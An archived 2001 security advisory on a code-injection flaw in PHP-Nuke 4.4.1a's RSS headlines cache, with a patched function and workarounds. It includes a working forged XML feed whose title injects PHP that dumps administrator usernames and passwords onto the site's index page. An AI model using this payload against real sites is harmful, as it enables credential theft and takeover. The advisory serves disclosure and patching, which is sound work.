Relative Vulnerability in Phpnuke XML parser

Type securityvulns
Reporter Securityvulns
Modified 2001-03-26T00:00:00



The title of this article could have phpNuke's parser acting strange if inserted as is in the backend xml file called every hour.

                               sAvAte inc.
                        Serial Savate System

<[( advisory )]>---------------------------------------<[( xxxxxxxxxxxx.adv.en

Program: PHPNUKE Homepage: Author Contacte: 22/mar/2001 Answer: ??/??/?? Patch : ??/??/?? Version tested: 4.4.1a Found by : tobozo

  • Problem description: ~~~~~~~~~~~~~~~~~~~~

The method used by phpnuke to parse and update the cache is unsecure. By building some php code directly in a cache file, it gives the possibility to send and run arbitrary code to a person controlling the backend that is used to feed this parser. By including this file to build the index page, the code is not displayed but executed. The operation is performed by declaring a variable (stands on one single line) : <?php $boxstuff .= "<li><A HREF=\"\" >Title</A><BR>"; ?>

This problem has two causes :

fputs($fpwrite, "<?php \$boxstuff .= \"$separ<A HREF=\\\"$link\\\" TARGET=$target>$title</A><BR>\"; ?>\n");

1) No parsing is really done to check integrity of the xml code, neither the content of the title and link tags.

2) The cache file is included instead of being simply echoed if (file_exists($cache_file)) { include($cache_file); }

  • Impact: ~~~~~~~

1) it is possible by forging a xml file to execute arbitrary php code on the index page, having all the session variables fully available (get, post, cookie, database access r/w)

2) it is possible using the arbitrary code to display the result of the execution and therefore interact directly with the content of the index page.

  • Exploit: ~~~~~~~~

Logged in as admin, in the HeadLine section, if a given xml file http://remoteserver/badxmlfil.xml is modified in a way that matches the expected format (fields title and link), it must be preceeded by the characters \"; and located between title or link tags. The addslashed php code given after will be pushed then parsed by the phpnuke Headlines function, whatever is after the characters \";

Here is an example of forged bad xml that lists usernames/passwords : <?xml version="1.0"?> <channel> <description>PHPNukePass Vulnerability </description> <language>en-us</language> <title>PHPNuke : show me your pass. Brought to you by </title> <link></link> <image> <title>Phpnuke naked</title> <url></url> <width>160</width> <height>59</height> <description>Naked</description> </image> <item> <title>\";$result=mysql_query('select aid, pwd from authors');echo 'Pass List !!!<br>';while(list($user, $pass)=mysql_fetch_row($result)) echo 'User : <B>'.$user.'</B> Pass : <B> '.$pass.'</B><br>';#;//</title> <link></link> </item> <item> </channel> </rss>

When parsed by phpnuke HeadLines system, the cache file will be updated with the following content (still stands on one line) :

<?php $boxstuff .= "<li><A HREF=\"\" TARGET=new>\";$result=mysql_query(\"select aid, pwd from authors\");while(list($user, $pass)=mysql_fetch_row($result)) echo \\"User : $user - Pass : $pass<Br>\\";#;//</A><BR>"; ?> <?php $boxstuff .= "<li><A HREF=\"</rss>\" TARGET=new></channel></A><BR>";?>

And executed on the index page, making available to everybody the list of usernames and passwords.

Fix : ~~~~~

In the mainfile.php update the Headline function with the following content :

function headlines() { $result = mysql_query("select sitename, url, headlinesurl from headlines where status=1"); while (list($sitename, $url, $headlinesurl) = mysql_fetch_row($result)) { $boxtitle = "$sitename"; $separ = "<li>"; $cache_file = "cache/$sitename.cache"; $cache_time = 3600; $max_items = 10; $target = "new"; $items = 0; $time = split(" ", microtime()); srand((double)microtime()*1000000); $cache_time_rnd = 300 - rand(0, 600); if ( (!(file_exists($cache_file))) || ((filectime($cache_file) + $cache_time - $time[1]) + $cache_time_rnd < 0) || (!(filesize($cache_file))) ) { $fpread = fopen($headlinesurl, 'r'); if(!$fpread) { } else { $fpwrite = fopen($cache_file, 'w'); if(!$fpwrite) { } else { while(! feof($fpread) ) { $buffer = ltrim(Chop(fgets($fpread, 256))); if (($buffer == "<item>") && ($items < $max_items)) { $title = ltrim(Chop(fgets($fpread, 256))); $link = ltrim(Chop(fgets($fpread, 256))); $title = ereg_replace( "<title>", "", $title ); $title = ereg_replace( "</title>", "", $title ); $title = ereg_replace( "\"", "\\\"", $title ); $link = ereg_replace( "<link>", "", $link ); $link = ereg_replace( "</link>", "", $link ); // fix #1 provided by 23-mar-2001 fputs($fpwrite, "$separ<A HREF='$link' TARGET=$target>$title</A><BR>\n"); $items++; } } } fclose($fpread); } fclose($fpwrite); } // fix #2 provided by 23-mar-2001 if (isset($cache_file) && file_exists($cache_file)) { $myfile=file($cache_file); $mylines=count($myfile); for($index=0;$index<$mylines;$index++) { $ticker.=$myfile[$index]; } } $ticker .= "<DIV align=right><a href=\"$url\" target=blank><b>read more...</b></a></DIV>"; themesidebox($boxtitle, $ticker); $ticker = ""; } }

  • Workaround : ~~~~~~~~~~~~

1) use a real xml parser for phpnuke (php functions or xml.php class) 2) store passwords as md5 on the database 3) install phpslash

  • Code: ~~~~~ Tested on (successfully)

  • Contact us: ~~~~~~~~~~~

  • Greetings: ~~~~~~~

Yannick, Hertz, The phpSlash Team, Hideo, Eberkut, Gard, madteam